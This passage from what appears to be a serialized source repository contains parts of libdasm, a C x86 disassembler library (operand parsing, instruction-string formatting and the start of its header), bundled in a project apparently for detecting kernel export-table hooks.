EXT_CP;\n break;\n\n // Prefix group 1 or 3-byte opcode\n case 0xf0:\n *index += 1;\n *flags &= 0x00FFFFFF;\n *flags |= PREFIX_LOCK;\n get_real_instruction(addr + 1, index, flags); \n break;\n case 0xf2:\n *index += 1;\n *flags &= 0x00FFFFFF;\n *flags |= PREFIX_REPNE;\n get_real_instruction(addr + 1, index, flags); \n break;\n case 0xf3:\n *index += 1;\n *flags &= 0x00FFFFFF;\n *flags |= PREFIX_REP;\n get_real_instruction(addr + 1, index, flags); \n break;\n\n // Extension group 3\n case 0xf6:\n case 0xf7:\n *flags |= EXT_G3;\n break;\n\n // Extension group 4\n case 0xfe:\n *flags |= EXT_G4;\n break;\n\n // Extension group 5\n case 0xff:\n *flags |= EXT_G5;\n break;\n default:\n break;\n }\n return 0;\n}\n\n// Parse operand and fill OPERAND structure\n\nint get_operand(PINST inst, int oflags, PINSTRUCTION instruction,\n POPERAND op, BYTE *data, int offset, enum Mode mode, int iflags) {\n BYTE *addr = data + offset;\n int index = 0, sib = 0, scale = 0;\n int reg = REG_NOP;\n int basereg = REG_NOP;\n int indexreg = REG_NOP;\n int dispbytes = 0;\n enum Mode pmode;\n\n // Is this valid operand?\n if (oflags == FLAGS_NONE) {\n op->type = OPERAND_TYPE_NONE;\n return 1;\n }\n // Copy flags\n op->flags = oflags;\n\n // Set operand registers\n op->reg = REG_NOP;\n op->basereg = REG_NOP;\n op->indexreg = REG_NOP;\n\n // Offsets\n op->dispoffset = 0;\n op->immoffset = 0;\n\n // Parse modrm and sib\n if (inst->modrm) {\n // 32-bit mode\n if (((mode == MODE_32) && (MASK_PREFIX_ADDR(iflags) == 0)) ||\n ((mode == MODE_16) && (MASK_PREFIX_ADDR(iflags) == 1)))\n pmode = MODE_32;\n else \n pmode = MODE_16;\n\n // Update length only once!\n if (!instruction->length) {\n instruction->modrm = *addr;\n instruction->length += 1;\n }\n // Register\n reg = MASK_MODRM_REG(*addr);\n\n // Displacement bytes\n // SIB can also specify additional displacement, see below\n if (MASK_MODRM_MOD(*addr) == 0) {\n if ((pmode == MODE_32) && (MASK_MODRM_RM(*addr) == REG_EBP))\n dispbytes = 4;\n if ((pmode == MODE_16) && (MASK_MODRM_RM(*addr) == REG_ESI))\n dispbytes = 2;\n } else if (MASK_MODRM_MOD(*addr) == 1) {\n dispbytes = 1;\n\n } else if (MASK_MODRM_MOD(*addr) == 2) {\n dispbytes = (pmode == MODE_32) ? 4 : 2; \n }\n // Base and index registers\n\n // 32-bit mode\n if (pmode == MODE_32) {\n if ((MASK_MODRM_RM(*addr) == REG_ESP) && \n (MASK_MODRM_MOD(*addr) != 3)) {\n sib = 1;\n instruction->sib = *(addr + 1);\n\n // Update length only once!\n if (instruction->length == 1) {\n instruction->sib = *(addr + 1);\n instruction->length += 1;\n }\n basereg = MASK_SIB_BASE( *(addr + 1));\n indexreg = MASK_SIB_INDEX(*(addr + 1));\n scale = MASK_SIB_SCALE(*(addr + 1)) * 2;\n // Fix scale *8\n if (scale == 6)\n scale += 2;\n\n // Special case where base=ebp and MOD = 0\n if ((basereg == REG_EBP) && !MASK_MODRM_MOD(*addr)) {\n basereg = REG_NOP;\n dispbytes = 4;\n }\n if (indexreg == REG_ESP)\n indexreg = REG_NOP;\n } else {\n if (!MASK_MODRM_MOD(*addr) && (MASK_MODRM_RM(*addr) == REG_EBP))\n basereg = REG_NOP;\n else\n basereg = MASK_MODRM_RM(*addr);\n }\n // 16-bit\n } else {\n switch (MASK_MODRM_RM(*addr)) {\n case 0:\n basereg = REG_EBX;\n indexreg = REG_ESI;\n break;\n case 1:\n basereg = REG_EBX;\n indexreg = REG_EDI;\n break;\n case 2:\n basereg = REG_EBP;\n indexreg = REG_ESI;\n break;\n case 3:\n basereg = REG_EBP;\n indexreg = REG_EDI;\n break;\n case 4:\n basereg = REG_ESI;\n indexreg = REG_NOP;\n break;\n case 5:\n basereg = REG_EDI;\n indexreg = REG_NOP;\n break;\n case 6:\n if (!MASK_MODRM_MOD(*addr))\n basereg = REG_NOP;\n else\n basereg = REG_EBP;\n indexreg = REG_NOP;\n break;\n case 7:\n basereg = REG_EBX;\n indexreg = REG_NOP;\n break;\n }\n if (MASK_MODRM_MOD(*addr) == 3) {\n basereg = MASK_MODRM_RM(*addr);\n indexreg = REG_NOP;\n }\n }\n }\n // Operand addressing mode -specific parsing\n switch (MASK_AM(oflags)) {\n\n // Register encoded in instruction\n case AM_REG:\n op->type = OPERAND_TYPE_REGISTER;\n op->reg = MASK_REG(oflags);\n break;\n\n // Register/memory encoded in MODRM\n case AM_M:\n if (MASK_MODRM_MOD(*addr) == 3)\n return 0;\n goto skip_rest;\n case AM_R:\n if (MASK_MODRM_MOD(*addr) != 3)\n return 0;\nskip_rest:\n case AM_Q:\n case AM_W:\n case AM_E:\n op->type = OPERAND_TYPE_MEMORY;\n op->dispbytes = dispbytes;\n instruction->dispbytes = dispbytes;\n op->basereg = basereg;\n op->indexreg = indexreg;\n op->scale = scale;\n\n index = (sib) ? 1 : 0;\n if (dispbytes)\n op->dispoffset = index + 1 + offset;\n switch (dispbytes) {\n case 0:\n break;\n case 1:\n op->displacement = FETCH8(addr + 1 + index);\n // Always sign-extend\n if (op->displacement >= 0x80)\n op->displacement |= 0xffffff00;\n break;\n case 2:\n op->displacement = FETCH16(addr + 1 + index);\n\n // Malformed opcode\n if (op->displacement < 0x80)\n return 0;\n break;\n case 4:\n op->displacement = FETCH32(addr + 1 + index);\n\n // XXX: problems with [index*scale + disp] addressing\n //if (op->displacement < 0x80)\n // return 0;\n break;\n }\n\n // MODRM defines register\n if ((basereg != REG_NOP) && (MASK_MODRM_MOD(*addr) == 3)) { \n op->type = OPERAND_TYPE_REGISTER;\n op->reg = basereg;\n }\n break;\n\n // Immediate byte 1 encoded in instruction\n case AM_I1:\n op->type = OPERAND_TYPE_IMMEDIATE;\n op->immbytes = 1;\n op->immediate = 1;\n break;\n // Immediate value\n case AM_J:\n op->type = OPERAND_TYPE_IMMEDIATE;\n // Always sign-extend\n oflags |= F_s;\n case AM_I:\n op->type = OPERAND_TYPE_IMMEDIATE;\n index = (inst->modrm) ? 1 : 0;\n index += (sib) ? 1 : 0;\n index += instruction->immbytes;\n index += instruction->dispbytes;\n op->immoffset = index + offset;\n\n // 32-bit mode\n if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(iflags) == 0)) ||\n ((mode == MODE_16) && (MASK_PREFIX_OPERAND(iflags) == 1)))\n mode = MODE_32;\n else \n mode = MODE_16;\n\n switch (MASK_OT(oflags)) {\n case OT_b:\n op->immbytes = 1;\n op->immediate = FETCH8(addr + index);\n if ((op->immediate >= 0x80) &&\n (MASK_FLAGS(oflags) == F_s))\n op->immediate |= 0xffffff00;\n break;\n case OT_v:\n op->immbytes = (mode == MODE_32) ?\n 4 : 2;\n op->immediate = (mode == MODE_32) ?\n FETCH32(addr + index) :\n FETCH16(addr + index);\n break;\n case OT_w:\n op->immbytes = 2;\n op->immediate = FETCH16(addr + index);\n break;\n }\n instruction->immbytes += op->immbytes;\n break;\n\n // 32-bit or 48-bit address\n case AM_A:\n op->type = OPERAND_TYPE_IMMEDIATE;\n // 32-bit mode\n if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(iflags) == 0)) ||\n ((mode == MODE_16) && (MASK_PREFIX_OPERAND(iflags) == 1)))\n mode = MODE_32;\n else \n mode = MODE_16;\n\n op->dispbytes = (mode == MODE_32) ? 6 : 4;\n op->displacement = (mode == MODE_32) ?\n FETCH32(addr) : FETCH16(addr);\n op->section = FETCH16(addr + op->dispbytes - 2);\n\n instruction->dispbytes = op->dispbytes;\n instruction->sectionbytes = 2;\n break;\n\n // Plain displacement without MODRM/SIB\n case AM_O:\n op->type = OPERAND_TYPE_MEMORY;\n switch (MASK_OT(oflags)) {\n case OT_b:\n op->dispbytes = 1;\n op->displacement = FETCH8(addr);\n break;\n case OT_v:\n op->dispbytes = (mode == MODE_32) ? 4 : 2;\n op->displacement = (mode == MODE_32) ?\n FETCH32(addr) : FETCH16(addr);\n break;\n }\n instruction->dispbytes = op->dispbytes;\n op->dispoffset = offset;\n break;\n\n // General-purpose register encoded in MODRM\n case AM_G:\n op->type = OPERAND_TYPE_REGISTER;\n op->reg = reg;\n break;\n\n // control register encoded in MODRM\n case AM_C:\n // debug register encoded in MODRM\n case AM_D:\n // Segment register encoded in MODRM\n case AM_S:\n // TEST register encoded in MODRM\n case AM_T:\n // MMX register encoded in MODRM\n case AM_P:\n // XMM register encoded in MODRM\n case AM_V:\n op->type = OPERAND_TYPE_REGISTER;\n op->reg = MASK_MODRM_REG(instruction->modrm);\n break;\n }\n return 1;\n}\n\n\n// Print operand string\n\n#if !defined NOSTR\nint get_operand_string(INSTRUCTION *inst, OPERAND *op,\n enum Format format, DWORD offset, char *string, int length) {\n \n enum Mode mode;\n int regtype = 0;\n DWORD tmp;\n\n memset(string, 0, length);\n\n if (op->type == OPERAND_TYPE_REGISTER) {\n // 32-bit mode\n if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) ||\n ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1)))\n mode = MODE_32;\n else \n mode = MODE_16;\n\n if (format == FORMAT_ATT)\n snprintf(string + strlen(string), length - strlen(string), \"%%\");\n \n // Determine register type\n switch (MASK_AM(op->flags)) {\n case AM_REG:\n if (MASK_FLAGS(op->flags) == F_r)\n regtype = REG_SEGMENT;\n else if (MASK_FLAGS(op->flags) == F_f)\n regtype = REG_FPU;\n else\n regtype = REG_GEN_DWORD;\n break;\n case AM_E:\n case AM_G:\n case AM_R:\n regtype = REG_GEN_DWORD;\n break;\n // control register encoded in MODRM\n case AM_C:\n regtype = REG_CONTROL;\n break;\n // debug register encoded in MODRM\n case AM_D:\n regtype = REG_DEBUG;\n break;\n // Segment register encoded in MODRM\n case AM_S:\n regtype = REG_SEGMENT;\n break;\n // TEST register encoded in MODRM\n case AM_T:\n regtype = REG_TEST;\n break;\n // MMX register encoded in MODRM\n case AM_P:\n case AM_Q:\n regtype = REG_MMX;\n break;\n // XMM register encoded in MODRM\n case AM_V:\n case AM_W:\n regtype = REG_XMM;\n break;\n }\n if (regtype == REG_GEN_DWORD) {\n switch (MASK_OT(op->flags)) {\n case OT_b:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", reg_table[REG_GEN_BYTE][op->reg]);\n break;\n case OT_v:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (mode == MODE_32) ?\n reg_table[REG_GEN_DWORD][op->reg] :\n reg_table[REG_GEN_WORD][op->reg]);\n break;\n case OT_w:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", reg_table[REG_GEN_WORD][op->reg]);\n break;\n case OT_d:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", reg_table[REG_GEN_DWORD][op->reg]);\n break;\n }\n } else\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", reg_table[regtype][op->reg]);\n\n } else if (op->type == OPERAND_TYPE_MEMORY) {\n // 32-bit mode\n if (((inst->mode == MODE_32) && (MASK_PREFIX_ADDR(inst->flags) == 0)) ||\n ((inst->mode == MODE_16) && (MASK_PREFIX_ADDR(inst->flags) == 1)))\n mode = MODE_32;\n else \n mode = MODE_16;\n\n // Segment register prefix (only in memory operands)\n if (MASK_PREFIX_G2(inst->flags)) {\n if (format == FORMAT_ATT)\n snprintf(string + strlen(string),\n length - strlen(string), \"%%\");\n snprintf(string + strlen(string), length - strlen(string),\n \"%s:\", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]);\n }\n // Displacement in ATT\n if (op->dispbytes && (format == FORMAT_ATT))\n snprintf(string + strlen(string), length - strlen(string),\n \"0x%x\", op->displacement); \n\n // Open memory addressing brackets\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ? \"(\" : \"[\"); \n\n // Base register\n if (op->basereg != REG_NOP) {\n snprintf(string + strlen(string), length - strlen(string),\n \"%s%s\", (format == FORMAT_ATT) ? \"%\" : \"\", \n (mode == MODE_32) ?\n reg_table[REG_GEN_DWORD][op->basereg] :\n reg_table[REG_GEN_WORD][op->basereg]);\n }\n // Index register\n if (op->indexreg != REG_NOP) {\n if (op->basereg != REG_NOP)\n snprintf(string + strlen(string), length - strlen(string),\n \"%s%s\", (format == FORMAT_ATT) ? \",%\" : \"+\", \n (mode == MODE_32) ?\n reg_table[REG_GEN_DWORD][op->indexreg] :\n reg_table[REG_GEN_WORD][op->indexreg]); \n else\n snprintf(string + strlen(string), length - strlen(string),\n \"%s%s\", (format == FORMAT_ATT) ? \"%\" : \"\",\n (mode == MODE_32) ?\n reg_table[REG_GEN_DWORD][op->indexreg] :\n reg_table[REG_GEN_WORD][op->indexreg]); \n switch (op->scale) {\n case 2:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ?\n \",2\" : \"*2\"); \n break;\n case 4:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ?\n \",4\" : \"*4\"); \n break;\n case 8:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ?\n \",8\" : \"*8\"); \n break;\n }\n }\n // INTEL displacement\n if (inst->dispbytes && (format != FORMAT_ATT)) {\n if ((op->basereg != REG_NOP) || (op->indexreg != REG_NOP)) {\n // Negative displacement\n if (op->displacement & (1<<(op->dispbytes*8-1))) {\n tmp = op->displacement;\n switch (op->dispbytes) {\n case 1:\n tmp = ~tmp & 0xff;\n break;\n case 2:\n tmp = ~tmp & 0xffff;\n break;\n case 4:\n tmp = ~tmp;\n break;\n }\n snprintf(string + strlen(string),\n length - strlen(string),\n \"-0x%x\", tmp + 1);\n // Positive displacement\n } else\n snprintf(string + strlen(string),\n length - strlen(string),\n \"+0x%x\", op->displacement);\n // Plain displacement\n } else {\n snprintf(string + strlen(string),\n length - strlen(string),\n \"0x%x\", op->displacement);\n }\n }\n // Close memory addressing brackets\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ? \")\" : \"]\"); \n\n } else if (op->type == OPERAND_TYPE_IMMEDIATE) {\n // 32-bit mode\n if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) ||\n ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1)))\n mode = MODE_32;\n else \n mode = MODE_16;\n\n switch (MASK_AM(op->flags)) {\n case AM_J:\n snprintf(string + strlen(string), length - strlen(string),\n \"0x%x\", op->immediate + inst->length + offset);\n break;\n case AM_I1:\n case AM_I:\n if (format == FORMAT_ATT)\n snprintf(string + strlen(string), length - strlen(string), \"$\");\n snprintf(string + strlen(string), length - strlen(string),\n \"0x%x\", op->immediate);\n break;\n // 32-bit or 48-bit address\n case AM_A:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s0x%x:%s0x%x\",\n (format == FORMAT_ATT) ? \"$\" : \"\",\n op->section, \n (format == FORMAT_ATT) ? \"$\" : \"\",\n op->displacement);\n break;\n }\n\n } else\n return 0;\n\n return 1;\n}\n\n#endif\n\n\n// Fetch instruction\n\nint get_instruction(PINSTRUCTION inst, BYTE *addr, enum Mode mode) {\n PINST ptr;\n int index = 0;\n int flags = 0;\n const char *ext = NULL;\n\n memset(inst, 0, sizeof(INSTRUCTION));\n\n // Parse flags, skip prefixes etc.\n get_real_instruction(addr, &index, &flags);\n\n // Select instruction table \n\n // FPU opcodes\n if (MASK_EXT(flags) == EXT_CP) {\n if (*(addr + index) < 0xc0) {\n // MODRM byte adds the additional byte\n index--;\n inst->fpuindex = *(addr + index) - 0xd8;\n inst->opcode = *(addr + index + 1);\n ptr = &inst_table4[inst->fpuindex]\n [MASK_MODRM_REG(inst->opcode)];\n } else {\n inst->fpuindex = *(addr + index - 1) - 0xd8;\n inst->opcode = *(addr + index);\n ptr = &inst_table4[inst->fpuindex]\n [inst->opcode - 0xb8];\n }\n\n // 2 or 3-byte opcodes\n } else if (MASK_EXT(flags) == EXT_T2) {\n inst->opcode = *(addr + index);\n get_real_instruction2(addr + index, &flags);\n\n // 3-byte opcode tables\n\n // prefix 0x66\n if (MASK_PREFIX_OPERAND(flags) == 1) {\n ptr = &inst_table3_66[inst->opcode];\n\n // prefix 0xf2\n } else if (MASK_PREFIX_G1(flags) == 2) {\n ptr = &inst_table3_f2[inst->opcode];\n\n // prefix 0xf3\n } else if (MASK_PREFIX_G1(flags) == 3) {\n ptr = &inst_table3_f3[inst->opcode];\n\n // normal 2-byte opcode table\n } else {\n ptr = &inst_table2[inst->opcode];\n }\n\n // extension group 3 \"test\" (<-- stupid hack)\n } else if ((MASK_EXT(flags) == EXT_G3) &&\n !MASK_MODRM_REG(*(addr + index + 1))) {\n inst->opcode = *(addr + index);\n ptr = &inst_table_test[inst->opcode - 0xf6];\n\n // finally, the default 1-byte opcode table\n } else {\n inst->opcode = *(addr + index);\n ptr = &inst_table1[inst->opcode];\n }\n\n // Illegal instruction\n if (!ptr->mnemonic) return 0;\n\n // Copy instruction type\n inst->type = ptr->type;\n\n // Pointer to instruction table\n inst->ptr = ptr;\n\n // Index points now to first byte after prefixes/escapes\n index++;\n\n // Opcode extensions\n if (MASK_EXT(flags) && (MASK_EXT(flags) < EXT_T2)) {\n inst->extindex = MASK_MODRM_REG(*(addr + index));\n ext = ext_name_table[(MASK_EXT(flags)) - 1][inst->extindex];\n if (ext == NULL)\n return 0;\n /*\n * Copy instruction type from extension table\n * except for groups 12-14. These are special groups\n * that are either MMX/SSE instructions. For these,\n * just use the type in INST structure.\n *\n */\n if ((MASK_EXT(flags) < 12) || (MASK_EXT(flags) > 14))\n inst->type =\n ext_type_table[(MASK_EXT(flags)) - 1][inst->extindex];\n } \n\n // Parse operands\n if (!get_operand(ptr, ptr->flags1, inst, &inst->op1, addr, index,\n mode, flags))\n return 0;\n if (!get_operand(ptr, ptr->flags2, inst, &inst->op2, addr, index,\n mode, flags))\n return 0;\n if (!get_operand(ptr, ptr->flags3, inst, &inst->op3, addr, index,\n mode, flags))\n return 0;\n\n // Add modrm/sib, displacement and immediate bytes in size\n inst->length += index + inst->immbytes + inst->dispbytes;\n\n // Copy addressing mode\n inst->mode = mode;\n\n // Copy instruction flags\n inst->flags = flags;\n\n return inst->length;\n}\n\n\n// Print instruction mnemonic\n\n#if !defined NOSTR\nint get_mnemonic_string(INSTRUCTION *inst, enum Format format, char *string, int length) {\n const char *ext;\n\n memset(string, 0, length);\n\n // Segment override\n if (MASK_PREFIX_G2(inst->flags) &&\n (inst->op1.type != OPERAND_TYPE_MEMORY) &&\n (inst->op2.type != OPERAND_TYPE_MEMORY))\n snprintf(string + strlen(string), length - strlen(string),\n \"%s \", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]);\n\n // Rep, lock etc.\n if (MASK_PREFIX_G1(inst->flags) &&\n (MASK_EXT(inst->flags) != EXT_T2))\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", rep_table[(MASK_PREFIX_G1(inst->flags)) - 1]);\n\n // Opcode extensions\n if (MASK_EXT(inst->flags) &&\n (MASK_EXT(inst->flags) != EXT_T2) &&\n (MASK_EXT(inst->flags) != EXT_CP)) {\n ext = ext_name_table[(MASK_EXT(inst->flags)) - 1][inst->extindex];\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", ext);\n } else {\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", inst->ptr->mnemonic);\n }\n\n // memory operation size in immediate to memory operations\n // XXX: also, register -> memory operations when size is different\n if (inst->ptr->modrm && (MASK_MODRM_MOD(inst->modrm) != 3) &&\n (MASK_AM(inst->op2.flags) == AM_I)) {\n\n switch (MASK_OT(inst->op1.flags)) {\n case OT_b:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ?\n \"b\" : \" byte\");\n break;\n case OT_w:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ?\n \"w\" : \" word\");\n break;\n case OT_d:\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ?\n \"l\" : \" dword\");\n break;\n case OT_v:\n if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) ||\n ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1)))\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ?\n \"l\" : \" dword\");\n else\n snprintf(string + strlen(string), length - strlen(string),\n \"%s\", (format == FORMAT_ATT) ?\n \"w\" : \" word\");\n break;\n }\n }\n return 1;\n}\n\n// Print operands\n\nint get_operands_string(INSTRUCTION *inst, enum Format format, DWORD offset,\n char *string, int length) {\n\n if (format == FORMAT_ATT) {\n if (inst->op3.type != OPERAND_TYPE_NONE) {\n get_operand_string(inst, &inst->op3, format, offset,\n string + strlen(string), length - strlen(string));\n snprintf(string + strlen(string), length - strlen(string), \",\");\n }\n if (inst->op2.type != OPERAND_TYPE_NONE) {\n get_operand_string(inst, &inst->op2, format, offset,\n string + strlen(string), length - strlen(string));\n snprintf(string + strlen(string), length - strlen(string), \",\");\n }\n if (inst->op1.type != OPERAND_TYPE_NONE)\n get_operand_string(inst, &inst->op1, format, offset,\n string + strlen(string), length - strlen(string));\n } else if (format == FORMAT_INTEL) {\n if (inst->op1.type != OPERAND_TYPE_NONE)\n get_operand_string(inst, &inst->op1, format, offset,\n string + strlen(string), length - strlen(string));\n if (inst->op2.type != OPERAND_TYPE_NONE) {\n snprintf(string + strlen(string), length - strlen(string), \",\");\n get_operand_string(inst, &inst->op2, format, offset,\n string + strlen(string), length - strlen(string));\n }\n if (inst->op3.type != OPERAND_TYPE_NONE) {\n snprintf(string + strlen(string), length - strlen(string), \",\");\n get_operand_string(inst, &inst->op3, format, offset,\n string + strlen(string), length - strlen(string));\n }\n } else\n return 0;\n\n return 1;\n}\n\n// Print instruction mnemonic, prefixes and operands\n\nint get_instruction_string(INSTRUCTION *inst, enum Format format, DWORD offset,\n char *string, int length) {\n\n // Print the actual instruction string with possible prefixes etc.\n get_mnemonic_string(inst, format, string, length);\n\n snprintf(string + strlen(string), length - strlen(string), \" \");\n \n // Print operands\n if (!get_operands_string(inst, format, offset,\n string + strlen(string), length - strlen(string)))\n return 0;\n\n return 1;\n}\n\n#endif\n\n// Helper functions\n\nint get_register_type(POPERAND op) {\n \n if (op->type != OPERAND_TYPE_REGISTER)\n return 0;\n switch (MASK_AM(op->flags)) {\n case AM_REG:\n if (MASK_FLAGS(op->flags) == F_r)\n return REGISTER_TYPE_SEGMENT;\n else if (MASK_FLAGS(op->flags) == F_f)\n return REGISTER_TYPE_FPU;\n else\n return REGISTER_TYPE_GEN;\n case AM_E:\n case AM_G:\n case AM_R:\n return REGISTER_TYPE_GEN;\n case AM_C:\n return REGISTER_TYPE_CONTROL;\n case AM_D:\n return REGISTER_TYPE_DEBUG;\n case AM_S:\n return REGISTER_TYPE_SEGMENT;\n case AM_T:\n return REGISTER_TYPE_TEST;\n case AM_P:\n case AM_Q:\n return REGISTER_TYPE_MMX;\n case AM_V:\n case AM_W:\n return REGISTER_TYPE_XMM;\n default:\n break;\n }\n return 0;\n}\n\nint get_operand_type(POPERAND op) {\n return op->type;\n}\n\nint get_operand_register(POPERAND op) {\n return op->reg;\n}\n\nint get_operand_basereg(POPERAND op) {\n return op->basereg;\n}\n\nint get_operand_indexreg(POPERAND op) {\n return op->indexreg;\n}\n\nint get_operand_scale(POPERAND op) {\n return op->scale;\n}\n\nint get_operand_immediate(POPERAND op, DWORD *imm) {\n if (op->immbytes) {\n *imm = op->immediate;\n return 1;\n } else\n return 0;\n}\n\nint get_operand_displacement(POPERAND op, DWORD *disp) {\n if (op->dispbytes) {\n *disp = op->displacement;\n return 1;\n } else\n return 0;\n}\n\n// XXX: note that source and destination are not always literal\n\nPOPERAND get_source_operand(PINSTRUCTION inst) {\n if (inst->op2.type != OPERAND_TYPE_NONE)\n return &inst->op2;\n else\n return NULL;\n}\nPOPERAND get_destination_operand(PINSTRUCTION inst) {\n if (inst->op1.type != OPERAND_TYPE_NONE)\n return &inst->op1;\n else\n return NULL;\n}\n\n\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.h", "content": "\n/*\n * libdasm -- simple x86 disassembly library\n * (c) 2004 - 2005 jt / nologin.org\n *\n */\n\n\n#ifndef _LIBDASM_H\n#define _LIBDASM_H\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define __LIBDASM_VERSION__ 0x01020000\n\n#define GET_VERSION_MAJOR \\\n (__LIBDASM_VERSION__ & 0xff000000) >> 24\n#define GET_VERSION_MINOR1 \\\n (__LIBDASM_VERSION__ & 0x00ff0000) >> 16\n#define GET_VERSION_MINOR2 \\\n (__LIBDASM_VERSION__ & 0x0000ff00) >> 8\n#define GET_VERSION_MINOR3 \\\n (__LIBDASM_VERSION__ & 0x000000ff)\n\n// Data types\n\n#if _WIN32\n//#include \n#define __inline__ __inline\n#define snprintf _snprintf\ntypedef unsigned __int64 QWORD; // for MSVC\ntypedef signed __int8 SBYTE;\ntypedef signed __int16 SWORD;\ntypedef signed __int32 SDWORD;\ntypedef signed __int64 SQWORD;\n#else\n#if defined __sun\n#define BYTE_ORDER 1234\n#define BIG_ENDIAN 1234\n#define LITTLE_ENDIAN 4321\n#define u_int8_t uint8_t\n#define u_int16_t uint16_t\n#define u_int32_t uint32_t\n#define u_int64_t uint64_t\n\n#endif // other *nix\n#include \ntypedef u_int8_t BYTE;\ntypedef u_int16_t WORD;\ntypedef u_int32_t DWORD;\ntypedef u_int64_t QWORD;\ntypedef int8_t SBYTE;\ntypedef int16_t SWORD;\ntypedef int32_t SDWORD;\ntypedef int64_t SQWORD;\n#endif\n\n// Define endianess\n\n#ifndef __X86__\n// These should catch x86 with most compilers\n#if defined _X86_ || defined _i386_ || defined __i386__\n#define __X86__\n#endif\n#endif\n\n#ifndef __LITTLE_ENDIAN__\n// These should catch little-endian with most compilers\n#if (BYTE_ORDER == LITTLE_ENDIAN) || defined __X86__ || defined _ALPHA_\n#define __LITTLE_ENDIAN__\n#endif\n#endif\n\ntypedef unsigned long DWORD;\ntypedef unsigned long *PDWORD;\ntypedef unsigned short WORD;\ntypedef unsigned char BYTE;\ntypedef unsigned char *PBYTE;\n//typedef unsigned short HMODULE;\n\n\n\n// Registers\n#define REGISTER_EAX 0\n#define REGISTER_ECX 1\n#define REGISTER_EDX 2\n#define REGISTER_EBX 3\n#define REGISTER_ESP 4\n#define REGISTER_EBP 5\n#define REGISTER_ESI 6\n#define REGISTER_EDI 7\n#define REGISTER_NOP 10 // no register defined\n\n// Registers\n#define MASK_REG(x) ((x) & 0x000000FF)\n#define REG_EAX REGISTER_EAX\n#define REG_AX REG_EAX\n#define REG_AL REG_EAX\n#define REG_ES REG_EAX // Just for reg_table consistence\n#define REG_ST0 REG_EAX // Just for reg_table consistence\n#define REG_ECX REGISTER_ECX\n#define REG_CX REG_ECX\n#define REG_CL REG_ECX\n#define REG_CS REG_ECX\n#define REG_ST1 REG_ECX\n#define REG_EDX REGISTER_EDX\n#define REG_DX REG_EDX\n#define REG_DL REG_EDX\n#define REG_SS REG_EDX\n#define REG_ST2 REG_EDX\n#define REG_EBX REGISTER_EBX\n#define REG_BX REG_EBX\n#define REG_BL REG_EBX\n#define REG_DS REG_EBX\n#define REG_ST3 REG_EBX\n#define REG_ESP REGISTER_ESP\n#define REG_SP REG_ESP\n#define REG_AH REG_ESP // Just for reg_table consistence\n#define REG_FS REG_ESP\n#define REG_ST4 REG_ESP\n#define REG_EBP REGISTER_EBP\n#define REG_BP REG_EBP\n#define REG_CH REG_EBP\n#define REG_GS REG_EBP\n#define REG_ST5 REG_EBP\n#define REG_ESI REGISTER_ESI\n#define REG_SI REG_ESI\n#define REG_DH REG_ESI\n#define REG_ST6 REG_ESI\n#define REG_EDI REGISTER_EDI\n#define REG_DI REG_EDI\n#define REG_BH REG_EDI\n#define REG_ST7 REG_EDI\n#define REG_NOP REGISTER_NOP\n\n// Register types\n#define REGISTER_TYPE_GEN 1\n#define REGISTER_TYPE_SEGMENT 2\n#define REGISTER_TYPE_DEBUG 3\n#define REGISTER_TYPE_CONTROL 4\n#define REGISTER_TYPE_TEST 5\n#define REGISTER_TYPE_XMM 6\n#define REGISTER_TYPE_MMX 7\n#define REGISTER_TYPE_FPU 8\n\n// Disassembling mode\nenum Mode {\n MODE_32, // 32-bit\n MODE_16 // 16-bit\n};\n\n// Disassembling format\nenum Format {\n FORMAT_ATT,\n FORMAT_INTEL,\n};\n\n// Instruction types (just the most common ones atm)\nenum Instruction {\n // Integer instructions\n INSTRUCTION_TYPE_ASC, // aaa, aam, etc.\n INSTRUCTION_TYPE_DCL, // daa, das\n INSTRUCTION_TYPE_MOV,\n INSTRUCTION_TYPE_MOVSR, // segment register\n INSTRUCTION_TYPE_ADD,\n INSTRUCTION_TYPE_XADD,\n INSTRUCTION_TYPE_ADC,\n INSTRUCTION_TYPE_SUB,\n INSTRUCTION_TYPE_SBB,\n INSTRUCTION_TYPE_INC,\n INSTRUCTION_TYPE_DEC,\n INSTRUCTION_TYPE_DIV,\n INSTRUCTION_TYPE_IDIV,\n INSTRUCTION_TYPE_NOT,\n INSTRUCTION_TYPE_NEG,\n INSTRUCTION_TYPE_STOS,\n INSTRUCTION_TYPE_LODS,\n INSTRUCTION_TYPE_SCAS,\n INSTRUCTION_TYPE_MOVS,\n INSTRUCTION_TYPE_MOVSX,\n INSTRUCTION_TYPE_MOVZX,\n 